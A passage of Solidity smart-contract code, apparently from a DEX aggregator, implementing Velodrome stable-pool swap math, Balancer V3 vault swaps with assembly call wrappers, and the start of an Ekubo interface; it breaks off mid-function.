`_VELODROME_TOKEN_BASIS`. In order to avoid overflow, we must divide the squared token // quantity by this before multiplying again by the token quantity. Setting this value as small // as possible preserves precision. This gives a result in an awkward basis, but we'll correct // that with `_VELODROME_CUBE_STEP_BASIS` after the cubing uint256 private constant _VELODROME_SQUARE_STEP_BASIS = 216840435; // After squaring a token quantity (in `_VELODROME_TOKEN_BASIS`), we need to multiply again by a // token quantity and then divide out the awkward basis to get back to // `_VELODROME_TOKEN_BASIS`. This constant is what gets us back to the original token quantity // basis. `_VELODROME_TOKEN_BASIS * _VELODROME_TOKEN_BASIS / _VELODROME_SQUARE_STEP_BASIS * // _VELODROME_TOKEN_BASIS / _VELODROME_CUBE_STEP_BASIS == _VELODROME_TOKEN_BASIS` uint256 private constant _VELODROME_CUBE_STEP_BASIS = 4611686007731906643703237360; // The maximum balance in the AMM's reference implementation of `k` is `b` such that `(b * b) / // 1 ether * ((b * b) / 1 ether + (b * b) / 1 ether)` does not overflow. This that quantity, // `b`. This is roughly 15.5 billion ether. uint256 internal constant _VELODROME_MAX_BALANCE = 15511800964685064948225197537; // This is the `k = x^3 * y + y^3 * x` constant function. Unlike the original formulation, the // result has a basis of `_VELODROME_INTERNAL_BASIS` instead of `_VELODROME_TOKEN_BASIS` function _k(uint256 x, uint256 y) private pure returns (uint256) { unchecked { return _k(x, y, x * x); } } function _k(uint256 x, uint256 y, uint256 x_squared) private pure returns (uint256) { unchecked { return _k(x, y, x_squared, y * y); } } function _k(uint256 x, uint256 y, uint256 x_squared, uint256 y_squared) private pure returns (uint256) { unchecked { return (x * y).unsafeMulDivAlt(x_squared + y_squared, _VELODROME_INTERNAL_BASIS); } } function _k_compat(uint256 x, uint256 y) internal pure returns (uint256) { unchecked { return (x * y).unsafeMulDivAlt(x * x + y * y, _VELODROME_INTERNAL_BASIS * _VELODROME_TOKEN_BASIS); } } function _k_compat(uint256 x, uint256 y, uint256 x_squared) private pure returns (uint256) { unchecked { return (x * y).unsafeMulDivAlt(x_squared + y * y, _VELODROME_INTERNAL_BASIS * _VELODROME_TOKEN_BASIS); } } // For numerically approximating a solution to the `k = x^3 * y + y^3 * x` constant function // using Newton-Raphson, this is `∂k/∂y = 3 * x * y^2 + x^3`. The result has a basis of // `_VELODROME_TOKEN_BASIS`. function _d(uint256 y, uint256 x) private pure returns (uint256) { unchecked { return _d(y, 3 * x, x * x / _VELODROME_SQUARE_STEP_BASIS * x); } } function _d(uint256 y, uint256 three_x, uint256 x_cubed) private pure returns (uint256) { unchecked { return _d(y, three_x, x_cubed, y * y / _VELODROME_SQUARE_STEP_BASIS); } } function _d(uint256, uint256 three_x, uint256 x_cubed, uint256 y_squared) private pure returns (uint256) { unchecked { return (y_squared * three_x + x_cubed) / _VELODROME_CUBE_STEP_BASIS; } } // Using Newton-Raphson iterations, compute the smallest `new_y` such that `_k(x + dx, new_y) >= // _k(x, y)`. As a function of `new_y`, we find the root of `_k(x + dx, new_y) - _k(x, y)`. function _get_y(uint256 x, uint256 dx, uint256 y) internal pure returns (uint256) { unchecked { uint256 k_orig = _k(x, y); // `k_orig` has a basis much greater than is actually required for correctness. To // achieve wei-level accuracy, we perform our final comparisons agains `k_target` // instead, which has the same precision as the AMM itself. uint256 k_target = _k_compat(x, y); // Now that we have `k` computed, we offset `x` to account for the sell amount and use // the constant-product formula to compute an initial estimate for `y`. x += dx; y -= (dx * y).unsafeDiv(x); // These intermediate values do not change throughout the Newton-Raphson iterations, so // precomputing and caching them saves us gas. uint256 three_x = 3 * x; uint256 x_squared_raw = x * x; uint256 x_cubed_raw = x_squared_raw / _VELODROME_SQUARE_STEP_BASIS * x; for (uint256 i; i < 255; i++) { uint256 y_squared_raw = y * y; uint256 k = _k(x, y, x_squared_raw, y_squared_raw); uint256 d = _d(y, three_x, x_cubed_raw, y_squared_raw / _VELODROME_SQUARE_STEP_BASIS); // This would exactly solve *OUR* formulation of the `k=x^3*y+y^3*x` constant // function. However, not only is it computationally and contract-size expensive, it // also does not necessarily exactly satisfy the *REFERENCE* implementations of the // same constant function (SolidlyV1, VelodromeV2). Therefore, it is commented out // and the relevant condition is handled by the "ordinary" parts of the // Newton-Raphson loop. /* if (k / _VELODROME_INTERNAL_TO_TOKEN_RATIO == k_target) { uint256 hi = y; uint256 lo = y - 1; uint256 k_next = _k_compat(x, lo, x_squared_raw); while (k_next == k_target) { (hi, lo) = (lo, lo - (hi - lo) * 2); k_next = _k_compat(x, lo, x_squared_raw); } while (hi != lo) { uint256 mid = (hi - lo) / 2 + lo; k_next = _k_compat(x, mid, x_squared_raw); if (k_next == k_target) { hi = mid; } else { lo = mid + 1; } } return lo; } else */ if (k < k_orig) { uint256 dy = (k_orig - k).unsafeDiv(d); // There are two cases where `dy == 0` // Case 1: The `y` is converged and we find the correct answer // Case 2: `_d(y, x)` is too large compare to `(k_orig - k)` and the rounding // error screwed us. // In this case, we need to increase `y` by 1 if (dy == 0) { if (_k_compat(x, y + 1, x_squared_raw) >= k_target) { // If `_k(x, y + 1) >= k_orig`, then we are close to the correct answer. // There's no closer answer than `y + 1` return y + 1; } // `y + 1` does not give us the condition `k >= k_orig`, so we have to do at // least 1 more iteration to find a satisfactory `y` value. Setting `dy = y // / 2` also solves the problem where the constant-product estimate of `y` // is very bad and convergence is only linear. dy = y / 2; } y += dy; if (y > _VELODROME_MAX_BALANCE) { y = _VELODROME_MAX_BALANCE; } } else { uint256 dy = (k - k_orig).unsafeDiv(d); if (dy == 0) { if (_k_compat(x, y - 1, x_squared_raw) < k_target) { // If `_k(x, y - 1) < k_orig`, then we are close to the correct answer. // There's no closer answer than `y`. We need to find `y` where `_k(x, // y) >= k_orig`. As a result, we can't return `y - 1` even it's closer // to the correct answer return y; } if (_k(x, y - 2, x_squared_raw) < k_orig) { // It may be the case that all 3 of `y`, `y - 1`, and `y - 2` give the // same value for `_k_compat`, but that `y - 2` gives a value for `_k` // that brackets `k_orig`. In this case, we would loop forever. This // branch causes us to bail out with the approximately correct value. return y - 1; } // It's possible that `y - 1` is the correct answer. To know that, we must // check that `y - 2` gives `k < k_orig`. We must do at least 1 more // iteration to determine this. dy = 2; } if (dy > y / 2) { dy = y / 2; } y -= dy; } } assembly ("memory-safe") { mstore(0x00, 0x481b61af) // selector for `NotConverged()` revert(0x1c, 0x04) } } } function sellToVelodrome(address recipient, uint256 bps, IVelodromePair pair, uint24 swapInfo, uint256 minAmountOut) internal { // Preventing calls to Permit2 or AH is not explicitly required as neither of these contracts implement the `swap` nor `transfer` selector // |7|6|5|4|3|2|1|0| - bit positions in swapInfo (uint8) // |0|0|0|0|0|0|F|Z| - Z: zeroForOne flag, F: sellTokenHasFee flag bool zeroForOne = (swapInfo & 1) == 1; // Extract the least significant bit (bit 0) bool sellTokenHasFee = (swapInfo & 2) >> 1 == 1; // Extract the second least significant bit (bit 1) and shift it right uint256 feeBps = swapInfo >> 8; ( uint256 sellBasis, uint256 buyBasis, uint256 sellReserve, uint256 buyReserve, bool stable, IERC20 sellToken, IERC20 buyToken ) = pair.metadata(); assert(stable); if (!zeroForOne) { (sellBasis, buyBasis, sellReserve, buyReserve, sellToken, buyToken) = (buyBasis, sellBasis, buyReserve, sellReserve, buyToken, sellToken); } uint256 buyAmount; unchecked { // Compute sell amount in native units uint256 sellAmount; if (bps != 0) { // It must be possible to square the sell token balance of the pool, otherwise it // will revert with an overflow. Therefore, it can't be so large that multiplying by // a "reasonable" `bps` value could overflow. We don't care to protect against // unreasonable `bps` values because that just means the taker is griefing themself. sellAmount = (sellToken.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); } if (sellAmount != 0) { sellToken.safeTransfer(address(pair), sellAmount); } if ((sellAmount == 0).or(sellTokenHasFee)) { sellAmount = sellToken.fastBalanceOf(address(pair)) - sellReserve; } // Convert reserves from native units to `_VELODROME_TOKEN_BASIS` sellReserve = (sellReserve * _VELODROME_TOKEN_BASIS).unsafeDiv(sellBasis); buyReserve = (buyReserve * _VELODROME_TOKEN_BASIS).unsafeDiv(buyBasis); // This check is commented because values that are too large will // result in reverts inside the pool anyways. We don't need to // bother. /* // Check for overflow if (buyReserve > _VELODROME_MAX_BALANCE) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } if (sellReserve + (sellAmount * _VELODROME_TOKEN_BASIS).unsafeDiv(sellBasis) > _VELODROME_MAX_BALANCE) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } */ // Apply the fee in native units sellAmount -= sellAmount * feeBps / 10_000; // can't overflow // Convert sell amount from native units to `_VELODROME_TOKEN_BASIS` sellAmount = (sellAmount * _VELODROME_TOKEN_BASIS).unsafeDiv(sellBasis); // Solve the constant function numerically to get `buyAmount` from `sellAmount` buyAmount = buyReserve - _get_y(sellReserve, sellAmount, buyReserve); // Convert `buyAmount` from `_VELODROME_TOKEN_BASIS` to native units buyAmount = buyAmount * buyBasis / _VELODROME_TOKEN_BASIS; } // Compensate for rounding error in the reference implementation of the constant-function buyAmount--; buyAmount.dec((sellReserve < sellBasis).or(buyReserve < buyBasis)); // Check slippage if (buyAmount < minAmountOut) { revertTooMuchSlippage(sellToken, minAmountOut, buyAmount); } // Perform the swap { (uint256 buyAmount0, uint256 buyAmount1) = zeroForOne ? (uint256(0), buyAmount) : (buyAmount, uint256(0)); pair.swap(buyAmount0, buyAmount1, recipient, new bytes(0)); } } } // src/core/BalancerV3.sol interface IBalancerV3Vault { /** * @notice Creates a context for a sequence of operations (i.e., "unlocks" the Vault). * @dev Performs a callback on msg.sender with arguments provided in `data`. The Callback is `transient`, * meaning all balances for the caller have to be settled at the end. * * @param data Contains function signature and args to be passed to the msg.sender * @return result Resulting data from the call */ function unlock(bytes calldata data) external returns (bytes memory); /** * @notice Settles deltas for a token; must be successful for the current lock to be released. * @dev Protects the caller against leftover dust in the Vault for the token being settled. The caller * should know in advance how many tokens were paid to the Vault, so it can provide it as a hint to discard any * excess in the Vault balance. * * If the given hint is equal to or higher than the difference in reserves, the difference in reserves is given as * credit to the caller. If it's higher, the caller sent fewer tokens than expected, so settlement would fail. * * If the given hint is lower than the difference in reserves, the hint is given as credit to the caller. * In this case, the excess would be absorbed by the Vault (and reflected correctly in the reserves), but would * not affect settlement. * * The credit supplied by the Vault can be calculated as `min(reserveDifference, amountHint)`, where the reserve * difference equals current balance of the token minus existing reserves of the token when the function is called. * * @param token Address of the token * @param amountHint Amount paid as reported by the caller * @return credit Credit received in return of the payment */ function settle(IERC20 token, uint256 amountHint) external returns (uint256 credit); /** * @notice Sends tokens to a recipient. * @dev There is no inverse operation for this function. Transfer funds to the Vault and call `settle` to cancel * debts. * * @param token Address of the token * @param to Recipient address * @param amount Amount of tokens to send */ function sendTo(IERC20 token, address to, uint256 amount) external; enum SwapKind { EXACT_IN, EXACT_OUT } /** * @notice Data passed into primary Vault `swap` operations. * @param kind Type of swap (Exact In or Exact Out) * @param pool The pool with the tokens being swapped * @param tokenIn The token entering the Vault (balance increases) * @param tokenOut The token leaving the Vault (balance decreases) * @param amountGiven Amount specified for tokenIn or tokenOut (depending on the type of swap) * @param limit Minimum or maximum value of the calculated amount (depending on the type of swap) * @param userData Additional (optional) user data */ struct VaultSwapParams { SwapKind kind; address pool; IERC20 tokenIn; IERC20 tokenOut; uint256 amountGiven; uint256 limit; bytes userData; } /** * @notice Swaps tokens based on provided parameters. * @dev All parameters are given in raw token decimal encoding. * @param vaultSwapParams Parameters for the swap (see above for struct definition) * @return amountCalculated Calculated swap amount * @return amountIn Amount of input tokens for the swap * @return amountOut Amount of output tokens from the swap */ function swap(VaultSwapParams memory vaultSwapParams) external returns (uint256 amountCalculated, uint256 amountIn, uint256 amountOut); enum WrappingDirection { WRAP, UNWRAP } /** * @notice Data for a wrap/unwrap operation. * @param kind Type of swap (Exact In or Exact Out) * @param direction Direction of the wrapping operation (Wrap or Unwrap) * @param wrappedToken Wrapped token, compatible with interface ERC4626 * @param amountGiven Amount specified for tokenIn or tokenOut (depends on the type of swap and wrapping direction) * @param limit Minimum or maximum amount specified for the other token (depends on the type of swap and wrapping * direction) */ struct BufferWrapOrUnwrapParams { SwapKind kind; WrappingDirection direction; IERC4626 wrappedToken; uint256 amountGiven; uint256 limit; } /** * @notice Wraps/unwraps tokens based on the parameters provided. * @dev All parameters are given in raw token decimal encoding. It requires the buffer to be initialized, * and uses the internal wrapped token buffer when it has enough liquidity to avoid external calls. * * @param params Parameters for the wrap/unwrap operation (see struct definition) * @return amountCalculated Calculated swap amount * @return amountIn Amount of input tokens for the swap * @return amountOut Amount of output tokens from the swap */ function erc4626BufferWrapOrUnwrap(BufferWrapOrUnwrapParams memory params) external returns (uint256 amountCalculated, uint256 amountIn, uint256 amountOut); } library UnsafeVault { function unsafeSettle(IBalancerV3Vault vault, IERC20 token, uint256 amount) internal returns (uint256 credit) { assembly ("memory-safe") { mstore(0x14, token) mstore(0x34, amount) // clobbers the upper (always zero) bits of the free memory pointer mstore(0x00, 0x15afd409000000000000000000000000) // selector for `settle(address,uint256)` with `token`'s padding if iszero(call(gas(), vault, 0x00, 0x10, 0x44, 0x00, 0x20)) { let ptr := and(0xffffffffffffffffffffffff, mload(0x40)) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } credit := mload(0x00) mstore(0x34, 0x00) } } function unsafeSwap(IBalancerV3Vault vault, IBalancerV3Vault.VaultSwapParams memory params) internal returns (uint256 amountIn, uint256 amountOut) { assembly ("memory-safe") { // `VaultSwapParams` is a dynamic type with exactly 1 sub-object, and that sub-object is // dynamic (all the other members are value types). Therefore, the layout in calldata is // nearly identical to the layout in memory, but there's an extra indirection offset // that needs to be prepended. Also the pointer to `params.userData` needs to be // transformed into an offset relative to the start of `params`. // We know that it's safe to (temporarily) clobber the two words in memory immediately // before `params` because they are user-allocated (they're part of `wrapParams`). If // they were not user-allocated, this would be illegal as it could clobber a word that // `solc` spilled from the stack into memory. let ptr := mload(0x40) let clobberedPtr0 := sub(params, 0x40) let clobberedVal0 := mload(clobberedPtr0) let clobberedPtr1 := sub(params, 0x20) let clobberedVal1 := mload(clobberedPtr1) mstore(clobberedPtr0, 0x2bfb780c) // selector for `swap((uint8,address,address,address,uint256,uint256,bytes))` mstore(clobberedPtr1, 0x20) // indirection offset to the dynamic type `VaultSwapParams` // Because we laid out `swapParams` as the last object in memory before // `swapParam.userData`, the two objects are contiguous. Their encoding in calldata is // exactly the same as their encoding in memory, but with pointers changed to offsets. let userDataPtr := add(0xc0, params) let userData := mload(userDataPtr) let userDataLen := mload(userData) // Convert the pointer `userData` into an offset relative to the start of its parent // object (`params`), and replace it in memory to transform it to the calldata encoding let len := sub(userData, params) mstore(userDataPtr, len) // Compute the length of the entire encoded object len := add(0x20, add(userDataLen, len)) // The padding is a little wonky (we're not creating the Solidity-strict ABI encoding), // but the Solidity ABIDecoder is relaxed enough that this doesn't matter. // The length of the whole call's calldata is 36 bytes longer than the encoding of // `params` in memory to account for the prepending of the selector (4 bytes) and the // indirection offset (32 bytes) if iszero(call(gas(), vault, 0x00, add(0x1c, clobberedPtr0), add(0x24, len), 0x00, 0x60)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } amountIn := mload(0x20) amountOut := mload(0x40) // mstore(userDataPtr, userData) // we don't need this because we're immediately going to deallocate mstore(clobberedPtr0, clobberedVal0) mstore(clobberedPtr1, clobberedVal1) mstore(0x40, ptr) } } function unsafeErc4626BufferWrapOrUnwrap( IBalancerV3Vault vault, IBalancerV3Vault.BufferWrapOrUnwrapParams memory params ) internal returns (uint256 amountIn, uint256 amountOut) { assembly ("memory-safe") { // `BufferWrapOrUnwrapParams` is a static type and contains no sub-objects (all its // members are value types), so the layout in calldata is just the layout in memory, // without any indirection. // We know that it's safe to (temporarily) clobber the word in memory immediately before // `params` because it is user-allocated (it's part of the `Notes` heap). If it were not // user-allocated, this would be illegal as it could clobber a word that `solc` spilled // from the stack into memory. let ptr := mload(0x40) let clobberedPtr := sub(params, 0x20) let clobberedVal := mload(clobberedPtr) mstore(clobberedPtr, 0x43583be5) // selector for `erc4626BufferWrapOrUnwrap((uint8,uint8,address,uint256,uint256))` if iszero(call(gas(), vault, 0x00, add(0x1c, clobberedPtr), 0xa4, 0x00, 0x60)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } amountIn := mload(0x20) amountOut := mload(0x40) mstore(clobberedPtr, clobberedVal) mstore(0x40, ptr) } } } IBalancerV3Vault constant VAULT = IBalancerV3Vault(0xbA1333333333a1BA1108E8412f11850A5C319bA9); abstract contract BalancerV3 is SettlerAbstract, FreeMemory { using SafeTransferLib for IERC20; using UnsafeMath for uint256; using NotesLib for NotesLib.Note[]; using UnsafeVault for IBalancerV3Vault; constructor() { assert(BASIS == Encoder.BASIS); assert(BASIS == Decoder.BASIS); assert(ETH_ADDRESS == Decoder.ETH_ADDRESS); } //// How to generate `fills` for BalancerV3: //// //// Linearize your DAG of fills by doing a topological sort on the tokens involved. Swapping //// against a boosted pool (usually) creates 3 fills: wrap, swap, unwrap. The tokens involved //// includes each ERC4626 tokenized vault token for any boosted pools. In the topological sort //// of tokens, when there is a choice of the next token, break ties by preferring a token if it //// is the lexicographically largest token that is bought among fills with sell token equal to //// the previous token in the topological sort. Then sort the fills belonging to each sell //// token by their buy token. This technique isn't *quite* optimal, but it's pretty close. The //// buy token of the final fill is special-cased. It is the token that will be transferred to //// `recipient` and have its slippage checked against `amountOutMin`. In the event that you are //// encoding a series of fills with more than one output token, ensure that at least one of the //// global buy token's fills is positioned appropriately. //// //// Now that you have a list of fills, encode each fill as follows. //// First, decide if the fill is a swap or an ERC4626 wrap/unwrap. //// Second, encode the `bps` for the fill as 2 bytes. Remember that this `bps` is relative to //// the running balance at the moment that the fill is settled. If the fill is a wrap, set the //// most significant bit of `bps`. If the fill is an unwrap, set the second most significant //// bit of `bps` //// Third, encode the packing key for that fill as 1 byte. The packing key byte depends on the //// tokens involved in the previous fill. If the fill is a wrap, the buy token must be the //// ERC4626 vault. If the fill is an unwrap, the sell token must be the ERC4626 vault. If the //// fill is a swap against a boosted pool, both sell and buy tokens must be ERC4626 vaults. God //// help you if you're dealing with a boosted pool where only some of the tokens involved are //// ERC4626. The packing key for the first fill must be 1; i.e. encode only the buy token for //// the first fill. //// 0 -> sell and buy tokens remain unchanged from the previous fill (pure multiplex) //// 1 -> sell token remains unchanged from the previous fill, buy token is encoded (diamond multiplex) //// 2 -> sell token becomes the buy token from the previous fill, new buy token is encoded (multihop) //// 3 -> both sell and buy token are encoded //// Obviously, after encoding the packing key, you encode 0, 1, or 2 tokens (each as 20 bytes), //// as appropriate. //// If the fill is a wrap/unwrap, you're done. Move on to the next fill. If the fill is a swap, //// the following fields are mandatory: //// Fourth, encode the pool address as 20 bytes. //// Fifth, encode the hook data for the fill. Encode the length of the hook data as 3 bytes, //// then append the hook data itself. //// //// Repeat the process for each fill and concatenate the results without padding. function sellToBalancerV3( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) internal returns (uint256 buyAmount) { if (bps > BASIS) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } bytes memory data = Encoder.encode( uint32(IBalancerV3Vault.unlock.selector), recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin ); // If, for some insane reason, the first 4 bytes of `recipient` alias the selector for the // only mutative function of Settler (`execute` or `executeMetaTxn`, as appropriate), then // this call will revert. We will encounter a revert in the nested call to // `execute`/`executeMetaTxn` because Settler is reentrancy-locked (this revert is // bubbled). If, instead, it aliases a non-mutative function of Settler, we would encounter // a revert inside `TransientStorage.checkSpentOperatorAndCallback` because the transient // storage slot was not zeroed. This would happen by accident with negligible probability, // and is merely annoying if it does happen. bytes memory encodedBuyAmount = _setOperatorAndCall(address(VAULT), data, uint32(uint256(uint160(recipient)) >> 128), _balV3Callback); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `balV3UnlockCallback` and that `balV3UnlockCallback` encoded the // buy amount correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function sellToBalancerV3VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) internal returns (uint256 buyAmount) { bytes memory data = Encoder.encodeVIP( uint32(IBalancerV3Vault.unlock.selector), recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, _isForwarded(), amountOutMin ); // See comment in `sellToBalancerV3` about why `recipient` aliasing a valid selector is // ultimately harmless. bytes memory encodedBuyAmount = _setOperatorAndCall(address(VAULT), data, uint32(uint256(uint160(recipient)) >> 128), _balV3Callback); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `balV3UnlockCallback` and that `balV3UnlockCallback` encoded the // buy amount correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function _balV3Callback(bytes calldata) private returns (bytes memory) { // `VAULT` doesn't prepend a selector and ABIEncode the payload. It just echoes the decoded // payload verbatim back to us. Therefore, we use `_msgData()` instead of the argument to // this function because `_msgData()` still has the first 4 bytes of the payload attached. return balV3UnlockCallback(_msgData()); } function _setSwapParams( IBalancerV3Vault.VaultSwapParams memory swapParams, State state, bytes calldata data ) private pure returns (bytes calldata) { assembly ("memory-safe") { mstore(add(0x20, swapParams), shr(0x60, calldataload(data.offset))) data.offset := add(0x14, data.offset) data.length := sub(data.length, 0x14) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } swapParams.tokenIn = state.sell().token(); swapParams.tokenOut = state.buy().token(); return data; } function _decodeUserdataAndSwap( IBalancerV3Vault.VaultSwapParams memory swapParams, State state, bytes calldata data ) private DANGEROUS_freeMemory returns (bytes calldata) { (data, swapParams.userData) = Decoder.decodeBytes(data); Decoder.overflowCheck(data); (uint256 amountIn, uint256 amountOut) = IBalancerV3Vault(msg.sender).unsafeSwap(swapParams); unchecked { // `amountIn` is always exactly `swapParams.amountGiven` NotePtr sell = state.sell(); sell.setAmount(sell.amount() - amountIn); } // `amountOut` can never get super close to `type(uint256).max` because `VAULT` does its // internal calculations in fixnum with a basis of `1 ether`, giving us a headroom of ~60 // bits. However, `state.buy.amount` may be an agglomeration of values returned by ERC4626 // vaults, and there is no implicit restriction on those values. NotePtr buy = state.buy(); buy.setAmount(buy.amount() + amountOut); assembly ("memory-safe") { mstore(add(0xc0, swapParams), 0x60) } return data; } function _erc4626WrapUnwrap( IBalancerV3Vault.BufferWrapOrUnwrapParams memory wrapParams, State state ) private { (uint256 amountIn, uint256 amountOut) = IBalancerV3Vault(msg.sender).unsafeErc4626BufferWrapOrUnwrap(wrapParams); unchecked { // `amountIn` is always exactly `wrapParams.amountGiven` NotePtr sell = state.sell(); sell.setAmount(sell.amount() - amountIn); } // `amountOut` may depend on the behavior of the ERC4626 vault. We can make no assumptions // about the reasonableness of the range of values that may be returned. NotePtr buy = state.buy(); buy.setAmount(buy.amount() + amountOut); } function _balV3Pay( IERC20 sellToken, address payer, uint256 sellAmount, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) private returns (uint256) { if (payer == address(this)) { if (sellAmount != 0) { sellToken.safeTransfer(msg.sender, sellAmount); } } else { // assert(payer == address(0)); ISignatureTransfer.SignatureTransferDetails memory transferDetails = ISignatureTransfer.SignatureTransferDetails({to: msg.sender, requestedAmount: sellAmount}); _transferFrom(permit, transferDetails, sig, isForwarded); } return IBalancerV3Vault(msg.sender).unsafeSettle(sellToken, sellAmount); } // the mandatory fields are // 2 - sell bps // 1 - pool key tokens case uint256 private constant _HOP_DATA_LENGTH = 3; function balV3UnlockCallback(bytes calldata data) private returns (bytes memory) { address recipient; uint256 minBuyAmount; uint256 hashMul; uint256 hashMod; bool feeOnTransfer; address payer; (data, recipient, minBuyAmount, hashMul, hashMod, feeOnTransfer, payer) = Decoder.decodeHeader(data); // Set up `state` and `notes`. The other values are ancillary and might be used when we need // to settle global sell token debt at the end of swapping. ( bytes calldata newData, State state, NotesLib.Note[] memory notes, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) = Decoder.initialize(data, hashMul, hashMod, payer); { NotePtr globalSell = state.globalSell(); if (payer != address(this)) { globalSell.setAmount(_permitToSellAmountCalldata(permit)); } if (feeOnTransfer) { globalSell.setAmount( _balV3Pay(globalSell.token(), payer, globalSell.amount(), permit, isForwarded, sig) ); } state.setGlobalSellAmount(globalSell.amount()); } state.checkZeroSellAmount(); data = newData; IBalancerV3Vault.BufferWrapOrUnwrapParams memory wrapParams; /* wrapParams.kind = IBalancerV3Vault.SwapKind.EXACT_IN; wrapParams.limit = 0; // TODO: price limits for partial filling */ // We position `swapParams` at the end of allocated memory so that when we `calldatacopy` // the `userData`, it ends up contiguous IBalancerV3Vault.VaultSwapParams memory swapParams; /* swapParams.kind = IBalancerV3Vault.SwapKind.EXACT_IN; swapParams.limit = 0; // TODO: price limits for partial filling */ while (data.length >= _HOP_DATA_LENGTH) { uint16 bps; assembly ("memory-safe") { bps := shr(0xf0, calldataload(data.offset)) data.offset := add(0x02, data.offset) data.length := sub(data.length, 0x02) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } data = Decoder.updateState(state, notes, data); if (bps & 0xc000 == 0) { data = _setSwapParams(swapParams, state, data); unchecked { swapParams.amountGiven = (state.sell().amount() * bps).unsafeDiv(BASIS); } data = _decodeUserdataAndSwap(swapParams, state, data); } else { Decoder.overflowCheck(data); if (bps & 0x4000 == 0) { wrapParams.direction = IBalancerV3Vault.WrappingDirection.WRAP; wrapParams.wrappedToken = IERC4626(address(state.buy().token())); } else { wrapParams.direction = IBalancerV3Vault.WrappingDirection.UNWRAP; wrapParams.wrappedToken = IERC4626(address(state.sell().token())); } bps &= 0x3fff; unchecked { wrapParams.amountGiven = (state.sell().amount() * bps).unsafeDiv(BASIS); } _erc4626WrapUnwrap(wrapParams, state); } } // `data` has been consumed. All that remains is to settle out the net result of all the // swaps. Any credit in any token other than `state.buy.token` will be swept to // Settler. `state.buy.token` will be sent to `recipient`. { NotePtr globalSell = state.globalSell(); (IERC20 globalSellToken, uint256 globalSellAmount) = (globalSell.token(), globalSell.amount()); uint256 globalBuyAmount = Take.take(state, notes, uint32(IBalancerV3Vault.sendTo.selector), recipient, minBuyAmount); if (feeOnTransfer) { // We've already transferred the sell token to the vault and // `settle`'d. `globalSellAmount` is the verbatim credit in that token stored by the // vault. We only need to handle the case of incomplete filling. if (globalSellAmount != 0) { Take._callSelector( uint32(IBalancerV3Vault.sendTo.selector), globalSellToken, payer == address(this) ? address(this) : _msgSender(), globalSellAmount ); } } else { // While `notes` records a credit value, the vault actually records a debt for the // global sell token. We recover the exact amount of that debt and then pay it. // `globalSellAmount` is _usually_ zero, but if it isn't it represents a partial // fill. This subtraction recovers the actual debt recorded in the vault. uint256 debt; unchecked { debt = state.globalSellAmount() - globalSellAmount; } if (debt == 0) { assembly ("memory-safe") { mstore(0x14, globalSellToken) mstore(0x00, 0xfb772a88000000000000000000000000) // selector for `ZeroSellAmount(address)` with `globalSellToken`'s padding revert(0x10, 0x24) } } _balV3Pay(globalSellToken, payer, debt, permit, isForwarded, sig); } bytes memory returndata; assembly ("memory-safe") { returndata := mload(0x40) mstore(returndata, 0x20) mstore(add(0x20, returndata), globalBuyAmount) mstore(0x40, add(0x40, returndata)) } return returndata; } } } // src/core/Ekubo.sol type Config is bytes32; type SqrtRatio is uint96; // Each pool has its own state associated with this key struct PoolKey { address token0; address token1; Config config; } interface IEkuboCore { // The entrypoint for all operations on the core contract function lock() external; // Swap tokens function swap_611415377( PoolKey memory poolKey, int128 amount, bool isToken1, SqrtRatio sqrtRatioLimit, uint256 skipAhead ) external payable returns (int128 delta0, int128 delta1); // Pay for swapped tokens function pay(address token) external returns (uint128 payment); // Get swapped tokens function withdraw(address token, address recipient, uint128 amount) external; } IEkuboCore constant CORE = IEkuboCore(0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444); /// @notice Interface for the callback executed when an address locks core interface IEkuboCallbacks { /// @notice Called by Core on `msg.sender` when a lock is acquired /// @param id The id assigned to the action /// @return Any data that you want to be returned from the lock call function locked(uint256 id) external returns (bytes memory); /// @notice Called by Core on `msg.sender` to collect assets /// @param id The id assigned to the action /// @param token The token to pay on function payCallback(uint256 id, address token) external; } library UnsafeEkuboCore { /// The `amountSpecified` as well as both `delta`'s are `int256` for contract size savings. If /// `amountSpecified` is not a clean, signed, 128-bit value, the call will revert inside the ABI /// decoding in `CORE`. The `delta`'s are guaranteed clean by the returndata encoding of `CORE`, /// but we keep them as `int256` so as not to duplicate any work. /// /// The `skipAhead` argument of the underlying `swap` function is hardcoded to zero. function unsafeSwap( IEkuboCore core, PoolKey memory poolKey, int256 amount, bool isToken1, SqrtRatio sqrtRatioLimit ) internal returns (int256 delta0, int256 delta1) { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, 0x00000000) // selector for `swap_611415377((address,address,bytes32),int128,bool,uint96,uint256)` let poolKeyPtr := add(0x20, ptr) mcopy(poolKeyPtr, poolKey, 0x60) let token0 := mload(poolKeyPtr) mstore(poolKeyPtr, mul(iszero(eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee, token0)), token0)) // ABI decoding in Ekubo will check if amount fits in int128 mstore(add(0x80, ptr), amount) mstore(add(0xa0, ptr), isToken1) mstore(add(0xc0, ptr), 